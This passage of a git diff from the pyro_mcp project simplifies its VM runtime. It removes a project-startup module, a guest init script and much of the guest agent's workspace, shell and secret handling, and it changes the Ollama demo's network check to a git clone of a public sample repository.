json.loads(resolved_path.read_text(encoding="utf-8")) - except json.JSONDecodeError as exc: - return HostDoctorEntry( - host="opencode", - installed=installed, - configured=False, - status="drifted" if installed else "unavailable", - details=f"OpenCode config is invalid JSON: {exc}", - repair_command=repair_command, - ) - if not isinstance(payload, dict): - return HostDoctorEntry( - host="opencode", - installed=installed, - configured=False, - status="drifted" if installed else "unavailable", - details="OpenCode config must be a JSON object", - repair_command=repair_command, - ) - mcp_payload = payload.get("mcp") - if not isinstance(mcp_payload, dict) or DEFAULT_HOST_SERVER_NAME not in mcp_payload: - return HostDoctorEntry( - host="opencode", - installed=installed, - configured=False, - status="missing" if installed else "unavailable", - details=f"OpenCode config at {resolved_path} is missing mcp.pyro", - repair_command=repair_command, - ) - configured_entry = mcp_payload[DEFAULT_HOST_SERVER_NAME] - expected_entry = canonical_opencode_entry(config) - status: HostStatus = "ok" if configured_entry == expected_entry else "drifted" - return HostDoctorEntry( - host="opencode", - installed=installed, - configured=True, - status=status, - details=f"OpenCode config path: {resolved_path}", - repair_command=repair_command, - ) - - -def doctor_hosts( - *, - config: HostServerConfig, - config_path: Path | None = None, -) -> list[HostDoctorEntry]: - return [ - _doctor_cli_host("claude-code", config=config), - _doctor_cli_host("codex", config=config), - _doctor_opencode_host(config=config, config_path=config_path), - ] diff --git a/src/pyro_mcp/ollama_demo.py b/src/pyro_mcp/ollama_demo.py index 9007660..1a590dd 100644 --- a/src/pyro_mcp/ollama_demo.py +++ b/src/pyro_mcp/ollama_demo.py @@ -10,23 +10,17 @@ from collections.abc import Callable from typing import Any, Final, cast from pyro_mcp.api import Pyro -from pyro_mcp.vm_manager import ( - DEFAULT_ALLOW_HOST_COMPAT, - DEFAULT_MEM_MIB, - DEFAULT_TIMEOUT_SECONDS, - DEFAULT_TTL_SECONDS, - DEFAULT_VCPU_COUNT, -) __all__ = ["Pyro", "run_ollama_tool_demo"] DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1" DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b" MAX_TOOL_ROUNDS: Final[int] = 12 +CLONE_TARGET_DIR: Final[str] = "hello-world" NETWORK_PROOF_COMMAND: Final[str] = ( - 'python3 -c "import urllib.request as u; ' - "print(u.urlopen('https://example.com').status)" - '"' + "rm -rf hello-world " + "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " + "&& git -C hello-world rev-parse --is-inside-work-tree" ) TOOL_SPECS: Final[list[dict[str, Any]]] = [ @@ -45,9 +39,8 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, - "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command"], + "required": ["environment", "command", "vcpu_count", "mem_mib"], "additionalProperties": False, }, }, @@ -68,7 +61,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "type": "function", "function": { "name": "vm_create", - "description": "Create an ephemeral VM with optional resource sizing.", + "description": "Create an ephemeral VM with explicit vCPU and memory sizing.", "parameters": { "type": "object", "properties": { @@ -77,9 +70,8 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "mem_mib": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, - "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment"], + "required": ["environment", "vcpu_count", "mem_mib"], "additionalProperties": False, }, }, @@ -200,12 +192,6 @@ def _require_int(arguments: dict[str, Any], key: str) -> int: raise ValueError(f"{key} must be an integer") -def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int: - if key not in arguments: - return default - return _require_int(arguments, key) - - def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool: value = arguments.get(key, default) if isinstance(value, bool): @@ -225,37 +211,27 @@ def _dispatch_tool_call( pyro: Pyro, tool_name: str, arguments: dict[str, Any] ) -> dict[str, Any]: if tool_name == "vm_run": - ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) - timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS) + ttl_seconds = arguments.get("ttl_seconds", 600) + timeout_seconds = arguments.get("timeout_seconds", 30) return pyro.run_in_vm( environment=_require_str(arguments, "environment"), command=_require_str(arguments, "command"), - vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), - mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), + vcpu_count=_require_int(arguments, "vcpu_count"), + mem_mib=_require_int(arguments, "mem_mib"), timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), - allow_host_compat=_require_bool( - arguments, - "allow_host_compat", - default=DEFAULT_ALLOW_HOST_COMPAT, - ), ) if tool_name == "vm_list_environments": return {"environments": pyro.list_environments()} if tool_name == "vm_create": - ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) + ttl_seconds = arguments.get("ttl_seconds", 600) return pyro.create_vm( environment=_require_str(arguments, "environment"), - vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), - mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), + vcpu_count=_require_int(arguments, "vcpu_count"), + mem_mib=_require_int(arguments, "mem_mib"), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), - allow_host_compat=_require_bool( - arguments, - "allow_host_compat", - default=DEFAULT_ALLOW_HOST_COMPAT, - ), ) if tool_name == "vm_start": return pyro.start_vm(_require_str(arguments, "vm_id")) @@ -299,10 +275,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=NETWORK_PROOF_COMMAND, - vcpu_count=DEFAULT_VCPU_COUNT, - mem_mib=DEFAULT_MEM_MIB, + vcpu_count=1, + mem_mib=512, timeout_seconds=60, - ttl_seconds=DEFAULT_TTL_SECONDS, + ttl_seconds=600, network=True, ) diff --git a/src/pyro_mcp/project_startup.py b/src/pyro_mcp/project_startup.py deleted file mode 100644 index 102d631..0000000 --- a/src/pyro_mcp/project_startup.py +++ /dev/null @@ -1,149 +0,0 @@ -"""Server-scoped project startup source helpers for MCP chat flows.""" - -from __future__ import annotations - -import shutil -import subprocess -import tempfile -from contextlib import contextmanager -from dataclasses import dataclass -from pathlib import Path -from typing import Iterator, Literal - -ProjectStartupSourceKind = Literal["project_path", "repo_url"] - - -@dataclass(frozen=True) -class ProjectStartupSource: - """Server-scoped default source for workspace creation.""" - - kind: ProjectStartupSourceKind - origin_ref: str - resolved_path: Path | None = None - repo_ref: str | None = None - - -def _run_git(command: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]: - return subprocess.run( # noqa: S603 - command, - cwd=str(cwd) if cwd is not None else None, - check=False, - capture_output=True, - text=True, - ) - - -def _detect_git_root(start_dir: Path) -> Path | None: - result = _run_git(["git", "rev-parse", "--show-toplevel"], cwd=start_dir) - if result.returncode != 0: - return None - stdout = result.stdout.strip() - if stdout == "": - return None - return Path(stdout).expanduser().resolve() - - -def _resolve_project_path(project_path: str | Path, *, cwd: Path) -> Path: - resolved = Path(project_path).expanduser() - if not resolved.is_absolute(): - resolved = (cwd / resolved).resolve() - else: - resolved = resolved.resolve() - if not resolved.exists(): - raise ValueError(f"project_path {resolved} does not exist") - if not resolved.is_dir(): - raise ValueError(f"project_path {resolved} must be a directory") - git_root = _detect_git_root(resolved) - if git_root is not None: - return git_root - return resolved - - -def resolve_project_startup_source( - *, - project_path: str | Path | None = None, - repo_url: str | None = None, - repo_ref: str | None = None, - no_project_source: bool = False, - cwd: Path | None = None, -) -> ProjectStartupSource | None: - working_dir = Path.cwd() if cwd is None else cwd.resolve() - if no_project_source: - if project_path is not None or repo_url is not None or repo_ref is not None: - raise ValueError( - "--no-project-source cannot be combined with --project-path, " - "--repo-url, or --repo-ref" - ) - return None - if project_path is not None and repo_url is not None: - raise ValueError("--project-path and --repo-url are mutually exclusive") - if repo_ref is not None and repo_url is None: - raise ValueError("--repo-ref requires --repo-url") - if project_path is not None: - resolved_path = _resolve_project_path(project_path, cwd=working_dir) - return ProjectStartupSource( - kind="project_path", - origin_ref=str(resolved_path), - resolved_path=resolved_path, - ) - if repo_url is not None: - normalized_repo_url = repo_url.strip() - if normalized_repo_url == "": - raise ValueError("--repo-url must not be empty") - normalized_repo_ref = None if repo_ref is None else repo_ref.strip() - if normalized_repo_ref == "": - raise ValueError("--repo-ref must not be empty") - return ProjectStartupSource( - kind="repo_url", - origin_ref=normalized_repo_url, - repo_ref=normalized_repo_ref, - ) - detected_root = _detect_git_root(working_dir) - if detected_root is None: - return None - return ProjectStartupSource( - kind="project_path", - origin_ref=str(detected_root), - resolved_path=detected_root, - ) - - -@contextmanager -def materialize_project_startup_source(source: ProjectStartupSource) -> Iterator[Path]: - if source.kind == "project_path": - if source.resolved_path is None: - raise RuntimeError("project_path source is missing a resolved path") - yield source.resolved_path - return - - temp_dir = Path(tempfile.mkdtemp(prefix="pyro-project-source-")) - clone_dir = temp_dir / "clone" - try: - clone_result = _run_git(["git", "clone", "--quiet", source.origin_ref, str(clone_dir)]) - if clone_result.returncode != 0: - stderr = clone_result.stderr.strip() or "git clone failed" - raise RuntimeError(f"failed to clone repo_url {source.origin_ref!r}: {stderr}") - if source.repo_ref is not None: - checkout_result = _run_git( - ["git", "checkout", "--quiet", source.repo_ref], - cwd=clone_dir, - ) - if checkout_result.returncode != 0: - stderr = checkout_result.stderr.strip() or "git checkout failed" - raise RuntimeError( - f"failed to checkout repo_ref {source.repo_ref!r} for " - f"repo_url {source.origin_ref!r}: {stderr}" - ) - yield clone_dir - finally: - shutil.rmtree(temp_dir, ignore_errors=True) - - -def describe_project_startup_source(source: ProjectStartupSource | None) -> str | None: - if source is None: - return None - if source.kind == "project_path": - return f"the current project at {source.origin_ref}" - if source.repo_ref is None: - return f"the clean clone source {source.origin_ref}" - return f"the clean clone source {source.origin_ref} at ref {source.repo_ref}" diff --git a/src/pyro_mcp/runtime.py b/src/pyro_mcp/runtime.py index 24779a3..a950108 100644 --- a/src/pyro_mcp/runtime.py +++ b/src/pyro_mcp/runtime.py @@ -11,13 +11,6 @@ from dataclasses import dataclass from pathlib import Path from typing import Any -from pyro_mcp.daily_loop import ( - DEFAULT_PREPARE_ENVIRONMENT, - evaluate_daily_loop_status, - load_prepare_manifest, - prepare_manifest_path, - serialize_daily_loop_report, -) from pyro_mcp.vm_network import TapNetworkManager DEFAULT_PLATFORM = "linux-x86_64" @@ -32,7 +25,6 @@ class RuntimePaths: firecracker_bin: Path jailer_bin: Path guest_agent_path: Path | None - guest_init_path: Path | None artifacts_dir: Path notice_path: Path manifest: dict[str, Any] @@ -101,7 +93,6 @@ def resolve_runtime_paths( firecracker_bin = bundle_root / str(firecracker_entry.get("path", "")) jailer_bin = bundle_root / str(jailer_entry.get("path", "")) guest_agent_path: Path | None = None - guest_init_path: Path | None = None guest = manifest.get("guest") if isinstance(guest, dict): agent_entry = guest.get("agent") @@ -109,18 +100,11 @@ def resolve_runtime_paths( raw_agent_path = agent_entry.get("path") if isinstance(raw_agent_path, str): guest_agent_path = bundle_root / raw_agent_path - init_entry = guest.get("init") - if isinstance(init_entry, dict): - raw_init_path = init_entry.get("path") - if isinstance(raw_init_path, str): - guest_init_path = bundle_root / raw_init_path artifacts_dir = bundle_root / "profiles" required_paths = [firecracker_bin, jailer_bin] if guest_agent_path is not None: required_paths.append(guest_agent_path) - if guest_init_path is not None: - required_paths.append(guest_init_path) for path in required_paths: if not path.exists(): @@ -142,17 +126,12 @@ def resolve_runtime_paths( f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}" ) if isinstance(guest, dict): - for entry_name, malformed_message in ( - ("agent", "runtime guest agent manifest entry is malformed"), - ("init", "runtime guest init manifest entry is malformed"), - ): - guest_entry = guest.get(entry_name) - if not isinstance(guest_entry, dict): - continue - raw_path = guest_entry.get("path") - raw_hash = guest_entry.get("sha256") + agent_entry = guest.get("agent") + if isinstance(agent_entry, dict): + raw_path = agent_entry.get("path") + raw_hash = agent_entry.get("sha256") if not isinstance(raw_path, str) or not isinstance(raw_hash, str): - raise RuntimeError(malformed_message) + raise RuntimeError("runtime guest agent manifest entry is malformed") full_path = bundle_root / raw_path actual = _sha256(full_path) if actual != raw_hash: @@ -166,7 +145,6 @@ def resolve_runtime_paths( firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, - guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest=manifest, @@ -207,11 +185,7 @@ def runtime_capabilities(paths: RuntimePaths) -> RuntimeCapabilities: ) -def doctor_report( - *, - platform: str = DEFAULT_PLATFORM, - environment: str = DEFAULT_PREPARE_ENVIRONMENT, -) -> dict[str, Any]: +def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]: """Build a runtime diagnostics report.""" report: dict[str, Any] = { "platform": platform, @@ -253,7 +227,6 @@ def doctor_report( "firecracker_bin": str(paths.firecracker_bin), "jailer_bin": str(paths.jailer_bin), "guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None, - "guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None, "artifacts_dir": str(paths.artifacts_dir), "artifacts_present": paths.artifacts_dir.exists(), "notice_path": str(paths.notice_path), @@ -269,36 +242,6 @@ def doctor_report( "cache_dir": str(environment_store.cache_dir), "environments": environment_store.list_environments(), } - environment_details = environment_store.inspect_environment(environment) - manifest_path = prepare_manifest_path( - environment_store.cache_dir, - platform=platform, - environment=environment, - ) - manifest, manifest_error = load_prepare_manifest(manifest_path) - status, reason = evaluate_daily_loop_status( - environment=environment, - environment_version=str(environment_details["version"]), - platform=platform, - catalog_version=environment_store.catalog_version, - bundle_version=( - None - if paths.manifest.get("bundle_version") is None - else str(paths.manifest["bundle_version"]) - ), - installed=bool(environment_details["installed"]), - manifest=manifest, - manifest_error=manifest_error, - ) - report["daily_loop"] = serialize_daily_loop_report( - environment=environment, - status=status, - installed=bool(environment_details["installed"]), - cache_dir=environment_store.cache_dir, - manifest_path=manifest_path, - reason=reason, - manifest=manifest, - ) if not report["kvm"]["exists"]: report["issues"] = ["/dev/kvm is not available on this host"] return report diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init deleted file mode 100644 index 2e8a82a..0000000 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init +++ /dev/null @@ -1,57 +0,0 @@ -#!/bin/sh -set -eu - -PATH=/usr/sbin:/usr/bin:/sbin:/bin -AGENT=/opt/pyro/bin/pyro_guest_agent.py - -mount -t proc proc /proc || true -mount -t sysfs sysfs /sys || true -mount -t devtmpfs devtmpfs /dev || true -mkdir -p /dev/pts /run /tmp -mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true -hostname pyro-vm || true - -cmdline="$(cat /proc/cmdline 2>/dev/null || true)" - -get_arg() { - key="$1" - for token in $cmdline; do - case "$token" in - "$key"=*) - printf '%s' "${token#*=}" - return 0 - ;; - esac - done - return 1 -} - -ip link set lo up || true -if ip link show eth0 >/dev/null 2>&1; then - ip link set eth0 up || true - guest_ip="$(get_arg pyro.guest_ip || true)" - gateway_ip="$(get_arg pyro.gateway_ip || true)" - netmask="$(get_arg pyro.netmask || true)" - dns_csv="$(get_arg pyro.dns || true)" - if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then - ip addr add "$guest_ip/$netmask" dev eth0 || true - fi - if [ -n "$gateway_ip" ]; then - ip route add default via "$gateway_ip" dev eth0 || true - fi - if [ -n "$dns_csv" ]; then - : > /etc/resolv.conf - old_ifs="$IFS" - IFS=, - for dns in $dns_csv; do - printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf - done - IFS="$old_ifs" - fi -fi - -if [ -f "$AGENT" ]; then - python3 "$AGENT" & -fi - -exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done' diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index a469d7b..ea9c2cf 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -1,70 +1,26 @@ #!/usr/bin/env python3 -"""Guest-side exec, workspace import, and interactive shell agent.""" +"""Minimal guest-side exec agent for pyro runtime bundles.""" from __future__ import annotations -import base64 -import codecs -import fcntl -import io import json -import os -import re -import shlex -import shutil -import signal import socket -import struct import subprocess -import tarfile -import tempfile -import termios -import threading import time -import urllib.error -import urllib.request -from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 -WORKSPACE_ROOT = PurePosixPath("/workspace") -SHELL_ROOT = Path("/run/pyro-shells") -SERVICE_ROOT = Path("/run/pyro-services") -SECRET_ROOT = Path("/run/pyro-secrets") -WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 -SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") -SHELL_SIGNAL_MAP = { - "HUP": signal.SIGHUP, - "INT": signal.SIGINT, - "TERM": signal.SIGTERM, - "KILL": signal.SIGKILL, -} -SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) - -_SHELLS: dict[str, "GuestShellSession"] = {} -_SHELLS_LOCK = threading.Lock() - - -def _redact_text(text: str, redact_values: list[str]) -> str: - redacted = text - for secret_value in sorted( - {item for item in redact_values if item != ""}, - key=len, - reverse=True, - ): - redacted = redacted.replace(secret_value, "[REDACTED]") - return redacted def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(1) + data = conn.recv(BUFFER_SIZE) if data == b"": break chunks.append(data) - if data == b"\n": + if b"\n" in data: break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -72,427 +28,13 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload -def _read_exact(conn: socket.socket, size: int) -> bytes: - remaining = size - chunks: list[bytes] = [] - while remaining > 0: - data = conn.recv(min(BUFFER_SIZE, remaining)) - if data == b"": - raise RuntimeError("unexpected EOF while reading archive payload") - chunks.append(data) - remaining -= len(data) - return b"".join(chunks) - - -def _normalize_member_name(name: str) -> PurePosixPath: - candidate = name.strip() - if candidate == "": - raise RuntimeError("archive member path is empty") - member_path = PurePosixPath(candidate) - if member_path.is_absolute(): - raise RuntimeError(f"absolute archive member paths are not allowed: {name}") - parts = [part for part in member_path.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"unsafe archive member path: {name}") - normalized = PurePosixPath(*parts) - if str(normalized) in {"", "."}: - raise RuntimeError(f"unsafe archive member path: {name}") - return normalized - - -def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: - candidate = destination.strip() - if candidate == "": - raise RuntimeError("destination must not be empty") - destination_path = PurePosixPath(candidate) - if not destination_path.is_absolute(): - destination_path = WORKSPACE_ROOT / destination_path - parts = [part for part in destination_path.parts if part not in {"", "."}] - normalized = PurePosixPath("/") / PurePosixPath(*parts) - if normalized == PurePosixPath("/"): - raise RuntimeError("destination must stay inside /workspace") - if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: - raise RuntimeError("destination must stay inside /workspace") - suffix = normalized.relative_to(WORKSPACE_ROOT) - host_path = Path("/workspace") - if str(suffix) not in {"", "."}: - host_path = host_path.joinpath(*suffix.parts) - return normalized, host_path - - -def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: - normalized, host_path = _normalize_destination(cwd) - return str(normalized), host_path - - -def _normalize_service_name(service_name: str) -> str: - normalized = service_name.strip() - if normalized == "": - raise RuntimeError("service_name is required") - if SERVICE_NAME_RE.fullmatch(normalized) is None: - raise RuntimeError("service_name is invalid") - return normalized - - -def _service_stdout_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.stdout" - - -def _service_stderr_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.stderr" - - -def _service_status_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.status" - - -def _service_runner_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.runner.sh" - - -def _service_metadata_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.json" - - -def _normalize_secret_name(secret_name: str) -> str: - normalized = secret_name.strip() - if normalized == "": - raise RuntimeError("secret name is required") - if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: - raise RuntimeError("secret name is invalid") - return normalized - - -def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: - target = link_target.strip() - if target == "": - raise RuntimeError(f"symlink {member_path} has an empty target") - target_path = PurePosixPath(target) - if target_path.is_absolute(): - raise RuntimeError(f"symlink {member_path} escapes the workspace") - combined = member_path.parent.joinpath(target_path) - parts = [part for part in combined.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"symlink {member_path} escapes the workspace") - - -def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: - relative_path = target_path.relative_to(root) - current = root - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"archive member would traverse through a symlinked path: {member_name}" - ) - - -def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: - normalized_destination, destination_root = _normalize_destination(destination) - destination_root.mkdir(parents=True, exist_ok=True) - bytes_written = 0 - entry_count = 0 - with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_member_name(member.name) - target_path = destination_root.joinpath(*member_name.parts) - entry_count += 1 - _ensure_no_symlink_parents(destination_root, target_path, member.name) - if member.isdir(): - if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): - raise RuntimeError(f"directory conflicts with existing path: {member.name}") - target_path.mkdir(parents=True, exist_ok=True) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): - raise RuntimeError(f"file conflicts with existing path: {member.name}") - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read archive member: {member.name}") - with target_path.open("wb") as handle: - while True: - chunk = source.read(BUFFER_SIZE) - if chunk == b"": - break - handle.write(chunk) - bytes_written += member.size - continue - if member.issym(): - _validate_symlink_target(member_name, member.linkname) - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and not target_path.is_symlink(): - raise RuntimeError(f"symlink conflicts with existing path: {member.name}") - if target_path.is_symlink(): - target_path.unlink() - os.symlink(member.linkname, target_path) - continue - if member.islnk(): - raise RuntimeError( - f"hard links are not allowed in workspace archives: {member.name}" - ) - raise RuntimeError(f"unsupported archive member type: {member.name}") - return { - "destination": str(normalized_destination), - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _install_secrets_archive(payload: bytes) -> dict[str, Any]: - SECRET_ROOT.mkdir(parents=True, exist_ok=True) - for existing in SECRET_ROOT.iterdir(): - if existing.is_dir() and not existing.is_symlink(): - shutil.rmtree(existing, ignore_errors=True) - else: - existing.unlink(missing_ok=True) - bytes_written = 0 - entry_count = 0 - with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_member_name(member.name) - target_path = SECRET_ROOT.joinpath(*member_name.parts) - entry_count += 1 - if member.isdir(): - target_path.mkdir(parents=True, exist_ok=True) - target_path.chmod(0o700) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - target_path.parent.chmod(0o700) - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read secret archive member: {member.name}") - with target_path.open("wb") as handle: - while True: - chunk = source.read(BUFFER_SIZE) - if chunk == b"": - break - handle.write(chunk) - target_path.chmod(0o600) - bytes_written += member.size - continue - if member.issym() or member.islnk(): - raise RuntimeError(f"secret archive may not contain links: {member.name}") - raise RuntimeError(f"unsupported secret archive member type: {member.name}") - return { - "destination": str(SECRET_ROOT), - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _inspect_archive(archive_path: Path) -> tuple[int, int]: - entry_count = 0 - bytes_written = 0 - with tarfile.open(archive_path, "r:*") as archive: - for member in archive.getmembers(): - entry_count += 1 - if member.isfile(): - bytes_written += member.size - return entry_count, bytes_written - - -def _prepare_export_archive(path: str) -> dict[str, Any]: - normalized_path, source_path = _normalize_destination(path) - if not source_path.exists() and not source_path.is_symlink(): - raise RuntimeError(f"workspace path does not exist: {normalized_path}") - if source_path.is_symlink(): - artifact_type = "symlink" - elif source_path.is_file(): - artifact_type = "file" - elif source_path.is_dir(): - artifact_type = "directory" - else: - raise RuntimeError(f"unsupported workspace path type: {normalized_path}") - - with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: - archive_path = Path(handle.name) - try: - with tarfile.open(archive_path, "w") as archive: - archive.dereference = False - if artifact_type == "directory": - for child in sorted(source_path.iterdir(), key=lambda item: item.name): - archive.add(child, arcname=child.name, recursive=True) - else: - archive.add(source_path, arcname=source_path.name, recursive=False) - entry_count, bytes_written = _inspect_archive(archive_path) - return { - "workspace_path": str(normalized_path), - "artifact_type": artifact_type, - "archive_path": archive_path, - "archive_size": archive_path.stat().st_size, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - except Exception: - archive_path.unlink(missing_ok=True) - raise - - -def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: - try: - stat_result = os.lstat(host_path) - except FileNotFoundError as exc: - raise RuntimeError(f"workspace path does not exist: {path_text}") from exc - if host_path.is_symlink(): - return { - "path": path_text, - "artifact_type": "symlink", - "size_bytes": stat_result.st_size, - "link_target": os.readlink(host_path), - } - if host_path.is_dir(): - return { - "path": path_text, - "artifact_type": "directory", - "size_bytes": 0, - "link_target": None, - } - if host_path.is_file(): - return { - "path": path_text, - "artifact_type": "file", - "size_bytes": stat_result.st_size, - "link_target": None, - } - raise RuntimeError(f"unsupported workspace path type: {path_text}") - - -def _join_workspace_path(base: str, child_name: str) -> str: - base_path = PurePosixPath(base) - return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" - - -def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "directory": - return { - "path": str(normalized_path), - "artifact_type": entry["artifact_type"], - "entries": [entry], - } - entries: list[dict[str, Any]] = [] - - def walk(current_path: str, current_host_path: Path) -> None: - children: list[tuple[dict[str, Any], Path]] = [] - with os.scandir(current_host_path) as iterator: - for child in iterator: - child_host_path = Path(child.path) - children.append( - ( - _workspace_entry( - _join_workspace_path(current_path, child.name), - child_host_path, - ), - child_host_path, - ) - ) - children.sort(key=lambda item: str(item[0]["path"])) - for child_entry, child_host_path in children: - entries.append(child_entry) - if recursive and child_entry["artifact_type"] == "directory": - walk(str(child_entry["path"]), child_host_path) - - walk(str(normalized_path), host_path) - return { - "path": str(normalized_path), - "artifact_type": "directory", - "entries": entries, - } - - -def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: - if max_bytes <= 0: - raise RuntimeError("max_bytes must be positive") - if max_bytes > WORKSPACE_FILE_MAX_BYTES: - raise RuntimeError( - f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" - ) - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "file": - raise RuntimeError("workspace file read only supports regular files") - raw_bytes = host_path.read_bytes() - if len(raw_bytes) > max_bytes: - raise RuntimeError( - f"workspace file exceeds the maximum supported size of {max_bytes} bytes" - ) - return { - "path": str(normalized_path), - "size_bytes": len(raw_bytes), - "content_b64": base64.b64encode(raw_bytes).decode("ascii"), - } - - -def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: - relative_path = target_path.relative_to(root) - current = root - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"workspace path would traverse through a symlinked parent: {path_text}" - ) - - -def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: - raw_bytes = text.encode("utf-8") - if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: - raise RuntimeError( - f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" - ) - normalized_path, host_path = _normalize_destination(path) - _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) - if host_path.exists() or host_path.is_symlink(): - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "file": - raise RuntimeError("workspace file write only supports regular file targets") - host_path.parent.mkdir(parents=True, exist_ok=True) - with tempfile.NamedTemporaryFile( - prefix=".pyro-workspace-write-", - dir=host_path.parent, - delete=False, - ) as handle: - temp_path = Path(handle.name) - handle.write(raw_bytes) - os.replace(temp_path, host_path) - return { - "path": str(normalized_path), - "size_bytes": len(raw_bytes), - "bytes_written": len(raw_bytes), - } - - -def _delete_workspace_path(path: str) -> dict[str, Any]: - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] == "directory": - raise RuntimeError("workspace file delete does not support directories") - 